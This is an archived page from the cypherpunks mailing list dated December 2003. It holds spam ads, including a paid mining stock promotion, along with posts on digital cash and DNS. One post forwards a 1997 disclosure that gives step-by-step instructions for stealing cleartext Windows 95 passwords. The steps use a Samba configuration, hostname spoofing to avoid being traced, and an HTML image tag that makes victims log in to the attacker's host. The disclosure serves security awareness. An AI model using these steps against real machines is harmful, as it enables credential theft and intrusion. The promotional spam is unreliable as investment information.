December 2003 - cypherpunks-legacy

about your site
by ji4481＠yahoo.com 17 Dec '03

17 Dec '03

We'll Submit Your Site To Over 900 Search Engines, Directories, & Indices For A "One Time Cost" Of Only $ 39.95 *** 100% Money Back Guarantee *** *** Immediately Increase Your Sites Exposure *** For Less Than 4 Cents Each We Will Submit Your Web Site To Over 900 Of The Net's Hottest Search Engines, Directories & Indices. If your site isn't listed in the Search Engines, how can people find you to buy your products or services? For just $39.95 we'll take the work load off your back instead of you trying to do it manually which can take days to do. We're the professionals that are here to help you have a shot at having a successful marketing experience with the internet. You know as well as we that your time is best utilized managing your business and not sitting at some keyboard hours upon hours trying to save less than 4 cents for each submission. See how it's kind of crazy to try to tackle this on your own. It's just not cost effective to try to do this yourself to save just $39.95. See why thousands and thousands of businesses world wide both large and small have come to us to utilize our services. Hotels, Motels, On-Line Stores, Travel Agents, Colleges, Universities, Governments, Fortune 500 companies, Movie Studios, Chambers Of Commerce and many, many more. Shouldn't you give us a call now? To Learn More, Call Us At The Numbers Below. Call us toll free at (800) 771-2003 in the USA and Canada or outside the USA at (916) 771-4739 and we'll provide you with all the necessary information to get you submitted Right Away. To be removed from our mailing list, please respond with the word remove in the subject.

1 0

Attract Opposite SEX Like Never Before!
by brutal＠brutalsex.com 17 Dec '03

17 Dec '03

WELCOME TO THE BRUTAL SEX SITE ~~~Lesbian Orgy Gang Bang Video...Right Here!~~~ Check out the Huge Archive of XXX Hardcore Photos and View from an INCREDIBLE amount XXX Adult Films with SOUND!!! Do You Like LIVE 18-21 yr old girls? You can direct the action .. Explore all this and more 24 hours a day 7 days a week!!! CLICK HERE Go To http://www.BrutalSEX.com 18+ Only. Reply with remove in subject to be removed. mediaweb ann arbor mi 48103 (734)669-8570

1 0

AD:Family Reunion T Shirts & More
by print4ever＠micronet.net 17 Dec '03

17 Dec '03

Message sent by: Kuppler Graphics, 32 West Main Street, Maple Shade, New Jersey, 08052, 1-800-810-4330. This is a one time mailing. This list will NOT be sold. All addresses are automatically added to our remove list. Hello. My name is Bill from Kuppler Graphics. We do screenprinting on T Shirts, Sweatshirts, Jackets, Hats, Tote Bags and more! Do you or someone you know have a Family Reunion coming up? Kuppler Graphics would like to provide you with some great looking T Shirts for your Reunion. Kuppler Graphics can also provide you with custom T's and promotional items such as imprinted magnets, keychains, pens, mugs, hats, etc. for your business or any fundraising activity (church, school, business etc.) We are a family owned company with over 15 years of experience. All work is done at this location. No middle man. Our prices are great! Please click reply to email us to receive more info or call 1-800-810-4330 Thanks for your interest Bill Kuppler Graphics

1 0

ADV:Valentine's for the Very Special!
by sender04＠mail.usa.com 17 Dec '03

17 Dec '03

For Your Valentine!! Scrumptious, dried fruit and nut packs artistically arranged in a variety of designer boxes normally featured at Neiman Marcus, Saks Fifth Avenue, Harrods of London and other prestigious stores. Now available DIRECT from the source: Torn Ranch of California, quietly supplying exquisite fruit and nut packs for 40 years to prestige outlets. Send a Valentine gift that is a touch above the ordinary. Fancy and extra-fancy grade, moist fruits. Chocolate dipped Australian apricots in designer arrangements. Jumbo nuts and fresh-baked mini-biscotti. Make an endearing impression for $10 or $20. Check out our selections and place an order this week to surprise your Valentine! http://204.238.155.37/ca2/tornranch Reply with remove to be removed MediaWeb AnnArbor MI 7346698570

1 0

adv....ATTENTION : INVESTORS...HOT press release on developing mining company!
by goldpromo＠investormail.com 17 Dec '03

17 Dec '03

NOTE: Your name was added to our list because you have shown an interest in smart investing. If your name was added erroneously or you no longer wish to be on our mailing list, simply send "remove" to the "from address". For further information regarding this investment opportunity: Phone: (604) 681-6186 The Board of Directors of El Misti Gold Limited is pleased to summarize current diamond drill results for its wholly owned Sinchao Project in northern Peru located some 450 km north of Lima and 30 km from the Yanacocha Mine, South America's largest gold producer. These results confirm the presence of a large copper-gold-zinc-silver system with potentially economic grades amenable to open pit mining. The deposit remains open laterally in all directions and there is potential for several hundred million tonnes of mineralization. The analytical results were provided by Intertek Testing Services (Bondar Clegg). The quality assurance for all aspects of the diamond drill program has been provided by Howe Chile Ltda., a subsidiary of ACA Howe Ltd. Drill holes SDH-10, SDH-5, SDH-6 and SDH-7 have delineated mineralization over a length of 640 metres and a width of 300 metres with an average thickness of 478 metres. Preliminary test work indicates a specific gravity of 2.6. These measurements indicate a potential for a mineralized zone of approximately 239 million tonnes at a grade of 1.45g/t gold equivalent (Cu equiv. 0.84%). This includes 163 million tonnes at a grade of 1.70 g/t gold equivalent (Cu equiv. 0.99%) which includes 111 million tonnes at a grade of 2.18 g/t gold equivalent (Cu equiv. 1.27 %). The mineralization is polymetallic whose value is derived approximately 38% from copper, 24% from gold, 23% from zinc and 15% silver. The accompanying map (not available in e-mail format, please check the Company's web site) shows the area of mineralization defined by the current diamond drill results. Additional results for drill hole SDH-10 and previously released results are set out in Table 1 and are summarized below. Gold and copper equivalent grades have been calculated for each of the significant mineralized intercepts on the basis of in-ground values using the following metal prices: US $287/oz gold, US $5.55/oz silver, US $0.72/lb copper, and US $0.52/lb zinc. Hole SDH 10: 490 (1,181 feet) metres of mineralized intercept at a gold equivalent grade of 1.61 g/t (Cu equiv. 0.94 %). Hole SDH-5: 495 (1,636 feet) metres of mineralized intercept at a gold equivalent grade of 1.59 g/t (Cu equiv. 0.92 %). Hole SDH-6: 602 (1,850 feet) metres of mineralized intercept at a gold equivalent grade of 1.22 g/t (Cu equiv. 0.71 %). Hole SDH-7: 592 (1,810 feet) metres of mineralized intercept at a gold equivalent grade of 1.36 g/t (Cu equiv. 0.79 %). At Sinchao, to date, the Company has undertaken geological mapping, geochemical sampling and ground geophysics followed by drilling. During 1997, twelve RC holes (1,768 metres) were drilled and during 1998, seven RC holes (1,174.5 metres) and ten diamond drill holes (5,176.25 metres) were drilled. The Board is highly encouraged with the mineralization and potential of the Sinchao project and has retained well known and highly respected independent geologist Lindsay R. Bottomer, P. Geo to review all Sinchao project data and help the Board formulate the appropriate next steps for 1999. NOTE: We strive to comply with all laws and to send information to interested parties only. This message is not intended for, nor was it intentionaly sent to Washington state residents. Mistigold has paid a fee of $500.00 for advertising on 2-14-1999 For further information regarding this investment opportunity: Phone: (604) 681-6186

1 0

Re: DNS queries
by jose 17 Dec '03

17 Dec '03

Thanx 4 da help, but it isnt the answer to ma question. I tray to know, ..... All the pc's on Internet use a server (Remote o local ; named ,etc ) that resolve the queries 4 non ip's domains, like www.microsoft.com 4 example 200.37.129.2 ---- use 207.17.220.2 to resolve the queries (of the domains ) in internet. I like to know if there be a program that say me Remotly that 200.37.129.2 use 207.17.220.2 to resolve the domain ( 4 da Internet ) queries. Best wishes Jose A. Freyre Security Admin - UNI - Networks

1 0

[LONG] Windows Security (was Re: SecureFile)
by Jeremey Barrett 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I forward this because of the discussion of SecureFile and M$ CryptoAPI, which relies on the security of the windows password to protect keys. Fun... - ------------- Begin forwarded message Subject: BoS: http://www.security.org.il/msnetbreak/ Resent-Date: Tue, 18 Mar 1997 16:41:20 +1100 (EST) Resent-From: best-of-security(a)suburbia.net Date: Mon, 17 Mar 1997 21:14:02 -0600 From: leph One <aleph1(a)DFW.NET> To: best-of-security(a)suburbia.net WINDOWS 95 AND MSIE SECURITY HOLE What's new It is possible from anywhere on the Internet to obtain the cleartext Windows 95 login password from a Windows 95 computer on a network connected directly to the Internet given only the IP address and the workgroup and leave no trace of your actions. It is untested and may work with Windows For Workgroups as well. Description There has been recent discussion on security mailing lists concerning the fact that Microsoft Internet Explorer running on Windows NT will automatically try to log in to a remote SMB server (file server) without prompting the user or without the user's knowledge. By design, the NT machine will transmit to this remote server the encrypted password and username of the user. This is documented by Aaron Spangler. The caveats with this are that the passwords are encrypted and that in many cases people do not use WWW browsers from NT servers, but rather from computers running Windows 95. It has been explained that this same exploit does not work against Windows 95 because Windows 95 is only capable of accessing SMB shares (file sharing) if they are: * Connected to the same subnet. * In the Windows 95 computer's LMHOSTS file on startup * Announced to the Windows 95 computer by a Master Browser It is this third and final condition that can be taken advantage of to obtain the cleartext password and username of any Windows 95 user who uses Microsoft Internet Explorer. Even careless use of Microsoft Network Neighborhood can exploit this hole without the requirement for Internet Explorer The requirements are knowledge of the user's IP address, workgroup name and that they access a hostile web page. The first two are not difficult to obtain and the third does not have to be an obscure page. In the last 6 months sites such as the CIA have been broken into. All it would require is that one un-noticeable line be added to the home page. Since the viewable content of the page has not been altered, such a change can go unnoticed for a long time. The Exploit This involves the use of the Unix SMB implementation called Samba. There are no source changes required, but it should be compiled with -DDEBUG_PASSWORD. Samba has an option in the smb.cfg file called remote announce. This allows you to specify a network address (host or broadcast) and workgroup name to inform about your existence. I have configured the [global] section of the smb.conf file like this: workgroup = EXPLOIT preferred master = yes domain master = yes security = user debug level = 100 remote announce = 10.0.0.255/WORKGROUP The only thing that must be changed is the remote announce line. The rest works as-is. A simple share must then be set up such as: [exploit] path = /tmp public = no browsable = yes Nothing needs to be in the directory as nobody will ever see it. For the sake of untractability, change your hostname to something that does not exist, but ensure to create an entry for it in /etc/hosts. This makes your host untraceable unless the network you are connecting to monitors network traffic. Run smbd. If you are running it from inetd, the process must at least start itself in order to send the broadcast. Using smbclient to browse yourself is enough for this. The broadcast gets sent regardless of what smbd was started for. At this point if anyone on the target network were to look at their Windows 95 Network Neighborhood they would see the host "EXPLOIT". The host is now vulnerable to your attack. While this step may seem a bit obscure and complicated, the truth is that it is very simple. I won't get into details here, but the methods for obtaining the workgroup name are easy to use and readily available. Finding a target network that has not protected ports 137 and 139 is also not so hard. Once you've done that, setting everything up to here takes a very short ammount of time. The final and easiest step is to include the following in any html file a user on this network accesses: <img src=file://\\exploit/exploit/t.gif> Congratulations!!! You will now see in your Samba log a line such as this: checking user=[user] pass=[INNOCENT] What does this all mean? The password of any Internet-connected user running Microsoft Internet Explorer on Windows 95 obtained be found in cleartext provided that their network administrator has not protected them from accessing external SMB servers by closing ports 139 and 137. If you have obtained the password of a user of a Windows NT server, you can now take the username, password and workgroup and log into that Windows NT server. Your true hostname and IP address are not stored in the html file and I am aware of no logging of hosts that enter the browse list. This means that you are not traceable, even though they are connecting to your machine. If you are lucky, you found the Windows 95 machine of the NT administrator and have little work left in order to access the NT server with administrator privileges. Solutions * Use Netscape * Use a proxy firewall or packet filter to close off ports 137 and 139 from external access to your network, though this still leaves you at risk from internal attacks. * Ask Microsoft to rewrite Windows to not send passwords by default. Demonstration We're working on software that will allow anyone to try this out and hope to have it finished tomorrow. Responses / Updates * March 17, 20:00pm: Microsoft Israel was informed of the problem and requested further information. * March 17, 22:30pm: This document initially completed. * March 17, 00:30am: Final tests with remote sites completed. Credits Discovery by Steve Birnbaum with help from Mark Gazit. Additional support from Yacov Drori and Roman Lasker. Thanks also to hobbit for his paper on CIFS, BioH for helping to test this, and anyone else who helped or provided ideas. Disclaimer The details of this exploit are being released with the interest of security in mind. No malice or harm is intended towards any company or organization. We are not responsible for any actions taken based on this information, harmful or otherwise. _________________________________________________________________ - ------------- End forwarded message. - -- =-----------------------------------------------------------------------= Jeremey Barrett VeriWeb Internet Corp. Crypto, Ecash, Commerce Systems http://www.veriweb.com/ PGP Key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 =-----------------------------------------------------------------------= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMy46Ri/fy+vkqMxNAQG5kwQA2Hoeg/W6/So4+YWMlS3f3y+eX/uzFuy3 mLmqiKPf0B+Pm6KGmoH4FXk7OmlMl8IqN4GJ/mGdzX3Otf4oSxrXsQPuNc688QJI F31F7rZTnPtXpIO9IpHvEwqyPksCOsiDJkf0cTFfVygvG2+67c/1OZ3rX/YieLoT EnQEsxjUWqk= =dQxJ -----END PGP SIGNATURE-----

1 0

Re: In Search of Genuine DigiCash
by rah＠shipwright.com 17 Dec '03

17 Dec '03

At 9:25 PM 8/22/94 -0700, Timothy C. May wrote: >Anonymity is what gives digital cash it's raison >d'etre, it's technological advantages over conventional schemes. I'll try to to come at this from another tack. Cryptography gives anonymity. Anononymity reduces the overhead. The reduced overhead should make digital cash more economically efficient than on-line systems like NetBank, or credit-cards or much of anything else, at the moment. The economic efficiency is what may make digitial cash economical as a way to provide liquidity for internet commerce. The major selling point is *not* privacy. The major selling point is economic efficiency. >If anonymity, untraceability, and other "Chaumian" notions are only >seen as peripheral side effects, then we already _have_ "digital cash" >in the encrypted credit card systems some folks are already offering. They are peripheral side effects. They also are the very things that make digital cash a more efficient medium of exchange. They are not necessary and sufficient conditions for the adoption of digital cash for the very same reasons you outlined above. Privacy is like flight. It's cool. It's literally marvelous. But flight also gives you speed, and speed is what sells flight as a usable technology to most people. Is that a better explaination? >Without the technological approach to untraceability and anonymity, >all we have is the usual "trust". Granted, credit card numbers ought >not to be sent over unsecured channels, but fixing that is easy (with >end-to-end encryption). Trust-based systems are not the foundation for >a free society most of us are seeking. Printing is a faster way to transcribe information than copying a book by hand. A secondary benefit of printing is that improves information flow through a culture. A consequence is increased education, which gives you an enlightment ethic and eventually Jeffersonian democacy. I think we're looking at the elephant from opposite ends here, Tim. You seem to be holding the trunk, I believe... >"Digidollar" was one of the many names coined by folks on this list, >along with Cypherbucks, Digimarks, etc. Ah. How grateful I am not to be burdened with its parentage... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) "There is no difference between someone Shipwright Development Corporation who eats too little and sees Heaven and 44 Farquhar Street someone who drinks too much and sees Boston, MA 02331 USA snakes." -- Bertrand Russell (617) 323-7923

2 1

Re: MIT Fascism
by No Taxes through No Government 17 Dec '03

17 Dec '03

>True enough. Most of our rules have been bundled together. Either you >accept all of them or you walk away. So Tim, if you don't like the FBI The above false information incorrectly assumes that all laws apply to all people.

2 1

Re: In Search of Genuine DigiCash
by rah＠shipwright.com 17 Dec '03

17 Dec '03

At 8:27 AM 8/23/94 -0400, Peter Wayner wrote: >tcmay(a)netcom.com (Timothy C. May) wrote: >> >>I don't think any of us on this list is yet ready to present a plan to >>real bankers. Eric Hughes has told me he agrees. > >Real bankers may be well ahead of everyone on this list. I'm told that >Citibank has some very intriguing work pending at the patent office. It's >for digital cash. Thank you. This is exactly the kind of stuff I've been talking about. Real bankers aren't completely necessary. This is why my thinking has changed on the subject. You need financial accumen to make sure you don't spend down your suspension account, but that (cash portfolio management) can be purchased from lots places besides real banks. The technology of digital cash is something that Citicorp thinks it has to reinvent. That's par for the course. But you don't need a real banker to run a secure www/Secure Mosaic node. You barely need real bankers to hook in to the ATM system as long as you can prove that nobody, including the underwriter, sniff the user's card swipe and PIN number. You don't need real bankers to make sure that the fraud laws cover double spending of digital cash. You don't need bankers to make sure that you comply with cash reporting requirements when money comes on and off the net. Wiring all the above together to make a digital cash underwriter is doable at a relatively small level, without bankers for the most part. This is why Citicorp, and other banks like it, are going to shoot themselves in the foot when they try. I 'm pretty sure, having worked for Citicorp myself, they spent big piles of money trying to engineer around Chaum (or anybody else). Chaum almost has a viable product, which will cost a whole lot less (even if he gets his cut of profits) to implement from the underwriter's standpoint. Citicorp has tried this "We are The Technologists" tack in Travel (CIMS), Point of Sale data collection (CPOS), Telephone Banking (they even invented their own dial up terminal!) and several other unrelated businesses. They failed because of an institutional mentality of Not Invented Here and a very centralized, top-down management style. They're not much different from most other very large banks, I'm afraid. Citicorp's early success in bank Data Processing during the late 60's and early 70's, first in ATMs (they aren't the largest any more by a long shot), and the credit cards (same here), makes them, and some readers of this list, think they are a 900lb gorilla when it comes to digital cash. They aren't. Neither is any bank, no matter how large they are. I'd be real interested to see if Citibank can beat an onslaught of smaller underwriters who can offer cash at smaller margins than they can. Folks, the costs of an operation like a digital cash underwriter aren't too difficult to imagine. The entry cost for the average underwriter (if the market is there to support one) is not nearly the amount that Citicorp is going to spend putting up theirs, and so Citicorp will loose money on this investment as well, and eventually back out. It's like people who go in to see the machine The Well runs on. Their jaw drops at how small the box really is. If Citicorp did it the machine would be 10 times bigger and cost 10 times as much, to justify their hockey-stick earnings estimate and a cast of a thousand managers and analysts. The thing that's important here is Grove's Law. Chips have an economic half-life of 18 months, which drops the cost of any computer based business accordingly, along with the costs of entry into those businesses. I've personally seen large companies go into a new high-tech service businesses and kill their entry with overengineering and bloated middle management. You see it in the Wall Street Journal all the time. At some point, if the market is there, there will probably be a consolidation in digital cash underwriting, and larger companies will emerge as economies of scale become evident. But to think that any company can come into a completely different operating paradigm and take over from the start just because they're huge somewhere else is probably not going to wash. Think about railroads and airplanes. If the railroads seriously tried to fund aircraft development, they would have gotten smeared. They would still be trying to make a steam powered plane fly the day Douglas delivered the first DC-3. The banks aren't the big bad monsters we fear them for. Their participation in the market is necessary, as is the participation of most financial instutions, but an Argumentum ad Bacculum with the Banks as the threat of force is pretty much a waste of breath. Sorry. I promise not to turn blue next time. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) "There is no difference between someone Shipwright Development Corporation who eats too little and sees Heaven and 44 Farquhar Street someone who drinks too much and sees Boston, MA 02331 USA snakes." -- Bertrand Russell (617) 323-7923

1 0